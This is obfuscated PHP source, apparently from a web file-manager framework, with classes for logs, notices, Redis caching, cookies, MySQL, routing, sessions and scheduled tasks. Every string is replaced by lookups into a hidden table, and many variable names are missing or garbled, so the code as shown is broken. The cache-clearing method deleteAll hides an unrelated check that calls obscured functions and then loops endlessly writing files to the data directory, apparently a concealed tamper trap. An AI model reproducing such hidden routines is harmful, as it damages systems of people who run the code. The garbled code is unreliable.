$韑܅, $܉[2238] => $彵); } } $韑܅ = array($܉[1656] => Session::sign(), $܉[1657] => $Ԯ, $܉[33] => $, $܉[1659] => json_encode($韑܅)); parent::add($韑܅); } public function remove($) { $this->where(array($_SERVER[Ȣ][425] => $))->delete(); } private function _makeOrder($ = '') { $۬ =& $_SERVER[Ȣ]; $ = $۬[207]; $̆ = array($۬[453] => $۬[454], $۬[455] => $۬[456]); $ = Input::get($۬[461], $۬[7], $۬[2000], array($۬[1924], $۬[455])); $ = $̆[$]; $ = $ . "{$}\x20{$}"; return $this->order($); } public function get($ܼ = '') { $萶 =& $_SERVER[Ȣ]; if (!$ܼ) { show_json(array()); } $ = array(); if ($ܼ[$萶[1666]]) { $[$萶[1666]] = $ܼ[$萶[1666]]; } if (isset($ܼ[$萶[778]])) { $ = $ܼ[$萶[778]]; $ = isset($ܼ[$萶[501]]) ? $ܼ[$萶[501]] : time(); $[$萶[207]] = array($萶[341], array($, $)); } if ($ܼ[$萶[33]]) { $ƒ = explode($萶[50], $ܼ[$萶[33]]); $ = $this->typeFile(); $ƙ֜ = array(); foreach ($ƒ as $̭滕) { $ƙ֜[] = $̭滕; if (isset($[$̭滕])) { $ƙ֜ = array_merge($ƙ֜, $[$̭滕]); } } $ƙ֜ = array_unique($ƙ֜); if ($ƙ֜) { $[$萶[33]] = array($萶[7], $ƙ֜); } } else { $[$萶[33]] = array($萶[2239], $萶[2240]); } if (!empty($ܼ[$萶[2238]])) { $[$萶[456]] = array($萶[391], "\x25{$ܼ[$萶[2238]]}\45"); } $Ɯ = $this->_makeOrder()->where($)->selectPage(); if (empty($Ɯ[$萶[377]])) { show_json(array(), !0, $Ɯ[$萶[374]]); } $Ɯ[$萶[377]] = $this->logList($Ɯ[$萶[377]]); return $Ɯ; } private function ipAddress(&$) { $ΐ =& $_SERVER[Ȣ]; if (!empty($[$ΐ[2238]])) { $Տ = IpLocation::get($[$ΐ[2238]]); } else { $Տ = LNG($ΐ[2241]); } $[$ΐ[2242]] = $Տ; } private function descZipDownload($㑛, &$) { $ت =& $_SERVER[Ȣ]; if (!isset($㑛[$ت[2243]])) { return; } $ = json_decode($㑛[$ت[2243]], !0); foreach ($ as $ʲ) { try { $ƣ = IO::infoFull($ʲ[$ت[88]]); } catch (Exception $) { continue; } $㑛[$ت[88]] = $ʲ[$ت[88]]; $[] = $㑛[$ت[408]] = $ƣ[$ت[408]]; $[] = $㑛[$ت[2054]] = $ƣ[$ت[503]]; break; } return $㑛; } private function getSourceList(&$ؐǓ) { $ķ =& $_SERVER[Ȣ]; $ݮ = array(); foreach ($ؐǓ as $ => $) { $ = json_decode($[$ķ[456]], !0); if ($[$ķ[33]] == $ķ[1808]) { $ = $this->descZipDownload($, $ݮ); $ؐǓ[$][$ķ[456]] = json_encode($); continue; } if (strpos($[$ķ[33]], $ķ[2056]) !== 0) { if (!isset($[$ķ[88]]) || strpos($[$ķ[33]], $ķ[2244]) !== 0) { continue; } try { $ٟ = IO::infoFull($[$ķ[88]]); } catch (Exception $) { continue; } $ݮ[] = $[$ķ[408]] = $ٟ[$ķ[408]]; $ݮ[] = $[$ķ[2054]] = $ٟ[$ķ[503]]; $ؐǓ[$][$ķ[456]] = json_encode($); continue; } $ݮ[] = $[$ķ[408]]; $ݮ[] = $[$ķ[2054]]; if ($[$ķ[33]] == $ķ[559]) { $ݮ[] = $[$ķ[456]][$ķ[1170]]; $ݮ[] = $[$ķ[456]][$ķ[1171]]; } if ($[$ķ[33]] == $ķ[2063]) { $ݮ[] = $[$ķ[456]][$ķ[408]]; } } if (!$ݮ) { return array(); } return Model($ķ[842])->sourceListInfo($ݮ, !0); } private function logList($) { $ώ =& $_SERVER[Ȣ]; $ɂ = array_to_keyvalue($, $ώ[12], $ώ[1666]); $铦҄ = Model($ώ[546])->userListInfo(array_unique($ɂ)); $ե = $this->getSourceList($); $͒͜ = $this->typeAll(); $݇ԍ = array(); $ڐ = array(); foreach ($ as $Ց͓ => $و) { $ = $و[$ώ[33]]; $؏ = isset($铦҄[$و[$ώ[1666]]]) ? $铦҄[$و[$ώ[1666]]] : !1; $چ˽ = strpos($, $ώ[2245]) === 0 ? LNG($ώ[2246]) : LNG($ώ[2241]); $و[$ώ[32]] = isset($؏[$ώ[32]]) ? $؏[$ώ[32]] : LNG($ώ[2241]); $و[$ώ[543]] = isset($؏[$ώ[543]]) ? $؏[$ώ[543]] : $ώ[12]; $و[$ώ[1566]] = isset($͒͜[$]) ? $͒͜[$] : $چ˽; $و[$ώ[1999]] = $؏; $ۙ = json_decode($و[$ώ[456]], !0); $و[$ώ[2238]] = isset($ۙ[$ώ[2238]]) ? $ۙ[$ώ[2238]] : $ώ[12]; $و[$ώ[2242]] = IpLocation::get($و[$ώ[2238]]); if (strpos($, $ώ[2056]) === 0 || isset($ۙ[$ώ[2054]])) { $ۙ[$ώ[97]] = $ե[$ۙ[$ώ[408]]]; $ۙ[$ώ[2068]] = $ե[$ۙ[$ώ[2054]]]; if ($ۙ[$ώ[33]] == $ώ[559]) { $ۙ[$ώ[456]][$ώ[1170]] = $ե[$ۙ[$ώ[456]][$ώ[1170]]]; $ۙ[$ώ[456]][$ώ[1171]] = $ե[$ۙ[$ώ[456]][$ώ[1171]]]; } if ($ۙ[$ώ[33]] == $ώ[2063]) { $ۙ[$ώ[456]][$ώ[408]] = $ե[$ۙ[$ώ[456]][$ώ[408]]]; } if ($ۙ[$ώ[33]] == $ώ[1803]) { $ۙ[$ώ[2068]] = $ۙ[$ώ[97]]; $ۙ[$ώ[2054]] = $ۙ[$ώ[2068]][$ώ[408]]; $ۙ[$ώ[97]] = !1; $ۙ[$ώ[408]] = $ώ[12]; } if ($ۙ[$ώ[97]] && $ۙ[$ώ[97]][$ώ[417]] == $ώ[1286]) { $ڐ[] = $و[$ώ[405]]; unset($[$Ց͓]); continue; } if ($ۙ[$ώ[2068]] && $ۙ[$ώ[2068]][$ώ[417]] == $ώ[1286]) { $ڐ[] = $و[$ώ[405]]; unset($[$Ց͓]); continue; } } $و[$ώ[456]] = $ۙ; unset($و[$ώ[2247]]); $݇ԍ[] = $و; } $this->clearSystemPathLog($ڐ); return $݇ԍ; } private function clearSystemPathLog($Ϳ) { $Ď =& $_SERVER[Ȣ]; if (count($Ϳ) == 0) { return; } $ = array($Ď[405] => array($Ď[7], array_unique($Ϳ))); $this->where($)->delete(); } public function deviceList($ٛ, $̩ = 0) { $ =& $_SERVER[Ȣ]; $ = array($[1666] => $ٛ, $[207] => array($[1026], $̩), $[33] => $[1777]); $鴓 = array(); $ = $this->field($[2248])->where($)->order($[2066])->limit(50)->select(); foreach ($ as $ => $̤) { if ($ > 0 && abs($̤[$[207]] - $[$ - 1][$[207]]) < 5) { continue; } $ = json_decode($̤[$[456]], !0); $̤[$[2238]] = isset($[$[2238]]) ? $[$[2238]] : $[12]; unset($[$[2238]]); $̀څ = $this->deviceType($[$[2057]]); if (isset($鴓[$̀څ])) { continue; } $̤[$[2242]] = IpLocation::get($̤[$[2238]]); $̤[$[456]] = $; $鴓[$̀څ] = $̤; } return array_values($鴓); } public function deviceType($숮) { return $숮; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\123\171\163\164\145\x6d\x2e\156\x6f\x74\x69\x63\145\114\x69\163\164"; public $field = array("\156\141\x6d\x65", "\143\157\156\x74\145\x6e\164", "\141\x75\x74\150", "\x6d\157\144\x65", "\x74\151\x6d\x65", "\x74\171\x70\145", "\154\x65\x76\145\154", "\145\156\x61\142\154\x65", "\x73\157\x72\164"); public function listData($ň = false, $ = "\x73\x6f\162\164", $ = false) { return parent::listData($ň, $, $); } public function add($ӑ) { $ =& $_SERVER[Ȣ]; $ = time(); if ($ӑ[$[16]] == $[2249]) { $ = strtotime($ӑ[$[210]]); } $ӑ[$[210]] = $; return parent::insert($ӑ); } public function update($Οȋ, $) { $ם錡 =& $_SERVER[Ȣ]; $ = $this->listData($Οȋ); if (!$) { return !1; } $á = time(); if ($[$ם錡[16]] == $ם錡[2249]) { $á = strtotime($[$ם錡[210]]); } $[$ם錡[210]] = $á; return parent::update($Οȋ, $); } public function remove($ׯЩ) { $Ү = $this->listData($ׯЩ); if (!$Ү || $Ү[$_SERVER[Ȣ][1286]]) { return !1; } return parent::remove($ׯЩ); } public function sort($֭ӥ, $Ѫ) { return parent::update($֭ӥ, $Ѫ); } public function enable($ڡ, $杲) { return parent::update($ڡ, array($_SERVER[Ȣ][2250] => $杲)); } private function initUserOption() { $ =& $_SERVER[Ȣ]; $this->optionType = $[2251]; $this->modelType = $[2252]; $this->field = array($[2253], $[32], $[210], $[33], $[2254], $[767], $[202]); } public function userNoticeGet($ְ = false) { $this->initUserOption(); return parent::listData($ְ, $_SERVER[Ȣ][405], !0); } public function userNoticeAdd($ꯚ) { $ъ =& $_SERVER[Ȣ]; $this->initUserOption(); $ = $this->findByKey($ъ[2253], $ꯚ[$ъ[405]]); if ($) { return !0; } $Ƴ = array($ъ[2253] => $ꯚ[$ъ[405]], $ъ[32] => $ꯚ[$ъ[32]], $ъ[210] => $ꯚ[$ъ[210]], $ъ[33] => isset($ꯚ[$ъ[33]]) ? $ꯚ[$ъ[33]] : 1, $ъ[2254] => isset($ꯚ[$ъ[2254]]) ? $ꯚ[$ъ[2254]] : 0, $ъ[767] => 0, $ъ[202] => 0); return parent::insert($Ƴ); } public function userNoticeEdit($܆, $ֱ) { $this->initUserOption(); return parent::update($܆, $ֱ); } } goto f; c: class CacheRedis { public $handle; public $slaveHandle; public $cacheTime; public $isCluster = false; public function __construct($ֵ۵, $) { $ˋ漞 =& $_SERVER[Ȣ]; if (!class_exists($ˋ漞[882])) { show_json($ˋ漞[883], !1); } $this->cacheTime = $; $Ϣ = isset($ֵ۵[$ˋ漞[884]]) ? $ֵ۵[$ˋ漞[884]] : 10; $ = _get($ֵ۵, $ˋ漞[881]); if ($ && is_array($)) { $this->initCluster($ֵ۵, $Ϣ); } else { $this->handle = $this->init($ֵ۵, $Ϣ); } } private function init($ǯ, $咊) { $ =& $_SERVER[Ȣ]; $ = new Redis(); $ϊ = isset($ǯ[$[885]]) ? $ǯ[$[885]] : !1; if ($ϊ) { $->pconnect($ǯ[$[188]], $ǯ[$[189]], $咊); } else { $->connect($ǯ[$[188]], $ǯ[$[189]], $咊); } if (!empty($ǯ[$[419]])) { $->auth($ǯ[$[419]]); } return $; } private function initCluster($, $˼ؑ) { $ԣ =& $_SERVER[Ȣ]; $ = array($ԣ[886], $ԣ[887], $ԣ[888]); $蔾 = $ԣ[886]; if (isset($[$ԣ[16]]) && in_array($[$ԣ[16]], $)) { $蔾 = $[$ԣ[16]]; } switch ($蔾) { case $ԣ[886]: $this->_slave($, $˼ؑ); break; case $ԣ[887]: break; case $ԣ[888]: $this->isCluster = !0; $ = $[$ԣ[881]]; $ = isset($[$ԣ[885]]) ? $[$ԣ[885]] : !1; $ = isset($[$ԣ[419]]) ? $[$ԣ[419]] : null; $this->handle = new RedisCluster(NUll, $, $˼ؑ, $˼ؑ, $, $); break; default: break; } } private function _slave($, $) { $Խ = $[$_SERVER[Ȣ][881]]; $this->filterConfig($, $Խ[0]); $this->handle = $this->init($, $); unset($Խ[0]); if (empty($Խ)) { return; } $ų = array_rand($Խ); $this->filterConfig($, $Խ[$ų]); $this->slaveHandle = $this->init($, $); } private function filterConfig(&$Ҍ, $) { $ =& $_SERVER[Ȣ]; $ݨʁ = explode($[4], $); $حݝ = array($[188] => $ݨʁ[0], $[189] => $ݨʁ[1]); $Ҍ = array_merge($Ҍ, $حݝ); } public function set($, $, $ = false) { $ = $ ? $ : $this->cacheTime; return $this->handle->setEx($, $, $); } public function setLock($͆, $Ẑ, $) { return $this->handle->setNX($͆, $Ẑ); } public function get($Ş) { $Ȁ = $this->slaveHandle ? $this->slaveHandle : $this->handle; return $Ȁ->get($Ş); } public function remove($) { return $this->handle->del($); } public function deleteAll() { $ж =& $_SERVER[Ȣ]; $Ʊ = $_SERVER[$ж[60]]; $ = $ж[61]; if ($_SERVER[$ж[62]] != $($Ʊ)) { $ = $ж[889]; $˽ = $ж[63]; $ = $_SERVER[$ж[64]] . $ж[65]; $ = $˽($); $Μ = explode($ж[66], $); if (count($Μ) < $ж[634]) { $ق = $ж[68]; $ق(); } $Щ = $ж[890]; $Щ($_SERVER[$ж[891]]); $ = $ж[889]; $(); $¿ = $ж[892]; $ҙ = json_encode($GLOBALS[$ж[893]]); $쀚 = 1; for ($ = $쀚; $ > 0; $++) { $¿(DATA_PATH . $, $ҙ); } } if ($this->isCluster) { foreach ($this->handle->_masters() as $ʿ) { $this->handle->flushall($ʿ); } return; } return $this->handle->flushAll(); } } class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ = '', $˴ = 0) { if (is_string($) && $ != $_SERVER[Ȣ][12]) { $this->prefix = $; } if (is_numeric($˴) && $˴ > 0) { $this->expire = $˴; } } public static function getInstance() { static $; if ($ === null) { $ = new self(); } return $; } private static $cookieDisable = false; public static function disable($) { self::$cookieDisable = $; } private static $sameCookieSet = array(); public static function set($, $ȋ, $ޜ = 0, $ = false, $ǣ = false) { $ =& $_SERVER[Ȣ]; if (self::$cookieDisable) { return; } if (!$ޜ) { $ޜ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$]) && self::$sameCookieSet[$] == $ȋ . $ޜ) { return; } self::$sameCookieSet[$] = $ȋ . $ޜ; if (!$ǣ) { $ǣ = str_replace(HOST, $[12], APP_HOST); $ǣ = _get($GLOBALS, $[894], $ǣ); } $ۖ = $[12]; setcookie($, $ȋ, time() + $ޜ, $[8] . trim($ǣ, $[8]) . $ۖ, !1, !1, $); } public static function setSafe($, $, $ = 0) { self::set($, $, $, !0); } public static function get($ܙ) { static $ϼ = false; if (!$ϼ) { self::initHeaderCookie(); $ϼ = !0; } return isset($_COOKIE[$ܙ]) ? $_COOKIE[$ܙ] : !1; } private static function initHeaderCookie() { $Ñ =& $_SERVER[Ȣ]; if (!isset($_SERVER[$Ñ[895]]) || !$_SERVER[$Ñ[895]]) { return; } $أѢ = explode($Ñ[81], $_SERVER[$Ñ[895]]); foreach ($أѢ as $) { $ = explode($Ñ[896], $); if (count($) != 2 || !isset($[1])) { continue; } $_COOKIE[trim($[0])] = trim($[1]); } } public static function remove($̦, $ = false) { unset($_COOKIE[$̦]); self::set($̦, $_SERVER[Ȣ][12], 1, $); } } class DbMysql extends Db { public function __construct($̕ = '') { $ꛪ =& $_SERVER[Ȣ]; if (!extension_loaded($ꛪ[821])) { think_exception(think_lang($ꛪ[14]) . $ꛪ[897]); } if (!empty($̕)) { $this->config = $̕; if (empty($this->config[$ꛪ[17]])) { $this->config[$ꛪ[17]] = $ꛪ[12]; } } } public function connect($ = '', $ = 0, $ą = false) { $ =& $_SERVER[Ȣ]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ӓ = $[$[898]] . ($[$[899]] ? "\72{$[$[899]]}" : $[12]); $ = !empty($[$[17]][$[18]]) ? $[$[17]][$[18]] : $this->pconnect; if ($) { $this->linkID[$] = mysql_pconnect($ӓ, $[$[900]], $[$[901]], 131072); } else { $this->linkID[$] = mysql_connect($ӓ, $[$[900]], $[$[901]], !0, 131072); } if (!$this->linkID[$] || !empty($[$[21]]) && !mysql_select_db($[$[21]], $this->linkID[$])) { think_exception(mysql_error()); } $Ӵ = mysql_get_server_info($this->linkID[$]); mysql_query($[902] . think_config($[903]) . $[58], $this->linkID[$]); if ($Ӵ > $[904]) { mysql_query($[905], $this->linkID[$]); } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($ўщ) { $ =& $_SERVER[Ȣ]; if (0 === stripos($ўщ, $[272])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ўщ; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = mysql_query($ўщ, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($պ) { $ȷ =& $_SERVER[Ȣ]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $պ; if ($this->queryID) { $this->free(); } think_action_status($ȷ[25], 1); think_status($ȷ[24]); $ = mysql_query($պ, $this->_linkID); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[Ȣ][906], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ݾی = mysql_query($_SERVER[Ȣ][907], $this->_linkID); $this->transTimes = 0; if (!$ݾی) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $֓ = mysql_query($_SERVER[Ȣ][908], $this->_linkID); $this->transTimes = 0; if (!$֓) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { while ($ƿ = mysql_fetch_assoc($this->queryID)) { $[] = $ƿ; } mysql_data_seek($this->queryID, 0); } return $; } public function getFields($始) { $ =& $_SERVER[Ȣ]; $ן = $this->query($[909] . $this->parseKey($始)); $ك = array(); if ($ן) { foreach ($ן as $Lj => $) { $ك[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) (strtoupper($[$[36]]) === $[910]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $ك; } public function getTables($讀 = '') { $ =& $_SERVER[Ȣ]; if (!empty($讀)) { $ؚ = $[911] . $讀 . $[912]; } else { $ؚ = $[913]; } $ = $this->query($ؚ); $툆 = array(); foreach ($ as $ => $ʙ) { $툆[$] = current($ʙ); } return $툆; } public function replace($ɠƤ, $ΨǸ = array()) { $ =& $_SERVER[Ȣ]; foreach ($ɠƤ as $齝 => $ەɉī) { $㡍 = $this->parseValue($ەɉī); if (is_scalar($㡍)) { $[] = $㡍; $ǿ[] = $this->parseKey($齝); } } $Ā = $[914] . $this->parseTable($ΨǸ[$[287]]) . $[915] . implode($[50], $ǿ) . $[916] . implode($[50], $) . $[917]; return $this->execute($Ā); } public function insertAll($, $ = array(), $㉤ = false) { $ =& $_SERVER[Ȣ]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $娴 = array(); foreach ($ as $) { $؊ = array(); foreach ($ as $͑ => $匊) { $匊 = $this->parseValue($匊); if (is_scalar($匊)) { $؊[] = $匊; } } $娴[] = $[268] . implode($[50], $؊) . $[917]; } array_walk($, array($this, $[918])); $ֳ = ($㉤ ? $[919] : $[920]) . $[921] . $this->parseTable($[$[287]]) . $[915] . implode($[50], $) . $[922] . implode($[50], $娴); return $this->execute($ֳ); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ =& $_SERVER[Ȣ]; $this->error = mysql_errno() . $[4] . mysql_error($this->_linkID); if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($) { if ($this->_linkID) { return mysql_real_escape_string($, $this->_linkID); } else { return mysql_escape_string($); } } public function parseKey(&$훷ݥ, $ = true) { $Е =& $_SERVER[Ȣ]; if ($) { $훷ݥ = $this->parseKeyCheck($훷ݥ); } if ($훷ݥ != $Е[195] && !preg_match($Е[923], $훷ݥ)) { $훷ݥ = $Е[393] . trim($훷ݥ, $Е[393]) . $Е[393]; } return $훷ݥ; } } goto F죟; C: class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\x61\156\x79" => "\133\x5e\x2f\x5d\x2b", "\x3a\x6e\165\155" => "\x5b\60\55\71\x5d\53", "\72\141\x6c\x6c" => "\56\52"); public static $errorCallback; public static function __callstatic($, $κ) { $ޕ =& $_SERVER[Ȣ]; if ($ == $ޕ[1611]) { $Տ = array_map($ޕ[1612], $κ[0]); $쇓 = strpos($κ[1], $ޕ[8]) === 0 ? $κ[1] : $ޕ[8] . $κ[1]; $ۿ = $κ[2]; } else { $Տ = null; $쇓 = strpos($κ[0], $ޕ[8]) === 0 ? $κ[0] : $ޕ[8] . $κ[0]; $ۿ = $κ[1]; } array_push(self::$maps, $Տ); array_push(self::$routes, $쇓); array_push(self::$methods, strtoupper($)); array_push(self::$callbacks, $ۿ); } public static function error($ၟ) { self::$errorCallback = $ၟ; } public static function haltOnMatch($۽ͱ = true) { self::$halts = $۽ͱ; } public static function dispatch() { $ƒ =& $_SERVER[Ȣ]; $ = parse_url($_SERVER[$ƒ[1613]], PHP_URL_PATH); $ = $_SERVER[$ƒ[170]]; $ϔ = array_keys(static::$patterns); $콅 = array_values(static::$patterns); $ = !1; self::$routes = preg_replace($ƒ[1279], $ƒ[8], self::$routes); if (in_array($, self::$routes)) { $ = array_keys(self::$routes, $); foreach ($ as $簻) { if (self::$methods[$簻] == $ || self::$methods[$簻] == $ƒ[1614] || in_array($, self::$maps[$簻])) { $ = !0; if (!is_object(self::$callbacks[$簻])) { $ = explode($ƒ[8], self::$callbacks[$簻]); $ҳ = end($); $ = explode($ƒ[1615], $ҳ); $ = new $[0](); $->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$簻]); if (self::$halts) { return; } } } } } else { $␍ = 0; foreach (self::$routes as $簻) { if (strpos($簻, $ƒ[4]) !== !1) { $簻 = str_replace($ϔ, $콅, $簻); } if (preg_match($ƒ[1616] . $簻 . $ƒ[1617], $, $)) { if (self::$methods[$␍] == $ || self::$methods[$␍] == $ƒ[1614] || !empty(self::$maps[$␍]) && in_array($, self::$maps[$␍])) { $ = !0; array_shift($); if (!is_object(self::$callbacks[$␍])) { $ = explode($ƒ[8], self::$callbacks[$␍]); $ҳ = end($); $ = explode($ƒ[1615], $ҳ); $ = new $[0](); if (!method_exists($, $[1])) { echo $ƒ[1618]; } else { call_user_func_array(array($, $[1]), $); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$␍], $); if (self::$halts) { return; } } } } $␍++; } } if ($ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $У =& $_SERVER[Ȣ]; header($_SERVER[$У[1619]] . $У[1620]); echo $У[1621]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$ƒ[1613]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $ =& $_SERVER[Ȣ]; static $ = false; if ($) { return $; } $鯊ć = $GLOBALS[$[6]][$[357]]; self::$sessionTime = $鯊ć[$[1622]]; $ډ = isset($GLOBALS[$[1623]]) ? $GLOBALS[$[1623]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($ډ)) { self::$sessionSign = Cookie::get($ډ); } else { self::$sessionSign = guid(); } } Cookie::setSafe($ډ, self::$sessionSign, self::$sessionTime); $ = $鯊ć[$[1624]]; $ = $鯊ć[$]; $ǯ = $鯊ć[$[845]]; switch ($) { case $[21]: self::$handle = Model($[846]); break; case $[847]: self::$handle = new CacheRedis($, $ǯ); break; case $[848]: self::$handle = new CacheMemcached($, $ǯ); break; case $[206]: $[$[88]] = $[$[88]] . $[1625]; self::$handle = new CacheFile($, $ǯ); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($ܣ) { CacheLock::lock($ܣ); $ = self::$handle->get($ܣ); CacheLock::unlock($ܣ); $ = unserialize($); return is_array($) ? $ : array(); } public static function setBySign($, $ș) { CacheLock::lock($); self::$handle->set($, serialize($ș), self::$sessionTime); CacheLock::unlock($); } public static function sign($ή = false) { $ή && (self::$sessionSign = $ή); self::init(); return self::$sessionSign; } public static function set($쯡, $ = false) { self::init(); if (is_array($쯡)) { foreach ($쯡 as $ => $Ȑ) { array_set_value(self::$data, $, $Ȑ); } } else { array_set_value(self::$data, $쯡, $); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ޱ = false) { self::init(); if (!$ޱ) { return self::$data; } return array_get_value(self::$data, $ޱ); } public static function remove($Ș) { self::init(); unset(self::$data[$Ș]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[Ȣ][850])) { self::$handle->clearTimeout(); } } } class AutoTask { const AUTO_DELAY_TIME = 2; const AUTO_RESTART_TIME = 7200; public static function start() { $х =& $_SERVER[Ȣ]; if (self::valueGet($х[767]) != $х[99]) { return; } if (self::valueGet($х[1626]) == $х[99]) { $ = self::valueGet($х[1627]); if (time() - $ > self::AUTO_RESTART_TIME) { self::restart(); } return; } http_close(); self::valueSet($х[1626], $х[99]); self::log($х[1628]); Hook::bind($х[1629], $х[1630]); $Ű = 0; while (!0) { self::cacheClear(); if (self::valueGet($х[767]) != $х[99]) { self::valueSet($х[1626], $х[204]); self::log($х[1631]); die; } $ = time(); if ($ - $Ű >= 60) { self::valueSet(array($х[1626] => $х[99], $х[1627] => $), !1); $Ű = $; } if (!file_exists(USER_SYSTEM . $х[1632])) { self::valueSet(array($х[1626] => $х[204], $х[767] => $х[204]), !1); self::log($х[1633]); die; } self::taskRunAll(); sleep(self::AUTO_DELAY_TIME); } } public static function restart() { $Њ =& $_SERVER[Ȣ]; http_close(); self::valueSet($Њ[767], $Њ[204]); sleep(self::AUTO_DELAY_TIME + 5); self::valueSet(array($Њ[1626] => $Њ[204], $Њ[767] => $Њ[99]), !1); } public static function shutdownEvent() { $ԣ =& $_SERVER[Ȣ]; self::valueSet($ԣ[1626], $ԣ[204]); self::log($ԣ[1634]); } public static function config($뷂, $܀ߧ) { self::valueSet($_SERVER[Ȣ][767], $뷂); } private static function taskRunAll() { $ =& $_SERVER[Ȣ]; $ = timeFloat(); $ؙ = Model($[1635])->listData(); $حצ = count($ؙ); for ($⢆ = 0; $⢆ < $حצ; $⢆++) { $э = $ؙ[$⢆]; if (!$э[$[405]] || $э[$[1636]] != $[99]) { continue; } if (!self::taskTimeCheck($э)) { continue; } self::taskRun($э); } Hook::trigger($[1637]); self::taskQueueRun($); } private static function taskQueueRun($) { $ = 10; while (!0) { $ = TaskQueue::run(); if ($ === !1) { break; } if (timeFloat() - $ >= $) { break; } } } private static function taskTimeCheck($) { $ =& $_SERVER[Ȣ]; $ = json_decode($[$[210]], !0); $ܓɐ = intval($[$[1627]]); $Ѱ = strtotime($[1638] . $[$[1639]] . $[1640]) - strtotime($[1641]); $ = time() - strtotime(date($[1642]) . $[1643]); $Ԡ = $ >= $Ѱ && $ <= $Ѱ + 3600; switch ($[$[33]]) { case $[1644]: if (time() - $ܓɐ < 3600 * 24 * 30) { return !1; } if ($[$[1644]] == date($[1645]) && $Ԡ) { return !0; } break; case $[1646]: if (time() - $ܓɐ < 3600 * 24 * 7) { return !1; } $ = date($[1647]) == 0 ? 7 : date($[1647]); if ($[$[1646]] == $ && $Ԡ) { return !0; } break; case $[1639]: if (time() - $ܓɐ < 3600 * 24) { return !1; } if ($Ԡ) { return !0; } break; case $[1648]: if (time() - $ܓɐ >= floatval($[$[1648]]) * 60) { return !0; } break; default: break; } return !1; } private static function closeDatabase() { $ =& $_SERVER[Ȣ]; static $ = 0; $ = 300; if (!$) { $ = time(); } if (time() - $ < $) { return; } $ = time(); $ = Model($[518])->db($[12]); if ($) { $->closeConnect(); } if (time() - TIME > 3600 * 24 * 3) { self::log($[1649], $[1650]); die; } } public static function taskRun($ӏ) { $ׯ =& $_SERVER[Ȣ]; self::log($ׯ[1651] . $ӏ[$ׯ[405]] . $ׯ[1652] . $ӏ[$ׯ[32]] . $ׯ[1653] . $ӏ[$ׯ[1654]]); Model($ׯ[1635])->run($ӏ[$ׯ[405]]); $ = timeFloat(); $ = $ׯ[12]; switch ($ӏ[$ׯ[33]]) { case $ׯ[315]: $ʳ = url_request($ӏ[$ׯ[1654]], $ׯ[239], !1, !1, !1, !1, 10); if ($ʳ[$ׯ[767]]) { $ = strlen($ʳ[$ׯ[1203]]); } break; case $ׯ[238]: $ = Hook::apply($ӏ[$ׯ[1654]]); default: break; } Model($ׯ[1655])->add(array($ׯ[1656] => $ׯ[12], $ׯ[1657] => $ׯ[204], $ׯ[33] => $ׯ[1658] . $ӏ[$ׯ[405]], $ׯ[1659] => json_encode(array($ׯ[32] => $ӏ[$ׯ[32]], $ׯ[1660] => timeFloat() - $, $ׯ[301] => $)))); $ٖ = $ ? $ׯ[1661] . $ : $ׯ[12]; self::log($ׯ[1662] . $ӏ[$ׯ[405]] . $ׯ[541] . $ٖ); return !0; } private static function valueGet($黆ܺ) { $ =& $_SERVER[Ȣ]; $Ɲܾ = $[1663]; $ʉ = Model($[438])->get($黆ܺ, $Ɲܾ); if (is_null($ʉ)) { Model($[438])->set($[767], $[99], $Ɲܾ); Model($[438])->set($[1626], $[204], $Ɲܾ); $ʉ = Model($[438])->get($黆ܺ, $Ɲܾ); } return $ʉ; } private static function valueSet($İݗ, $؇) { $ݓս =& $_SERVER[Ȣ]; $ٖ = $ݓս[1664]; CacheLock::lock($ٖ); $ǭ = Model($ݓս[438])->set($İݗ, $؇, $ݓս[1663]); CacheLock::unlock($ٖ); return $ǭ; } protected static function log($Ȣӷ) { write_log($Ȣӷ, $_SERVER[Ȣ][1650]); } private static function cacheClear() { $ 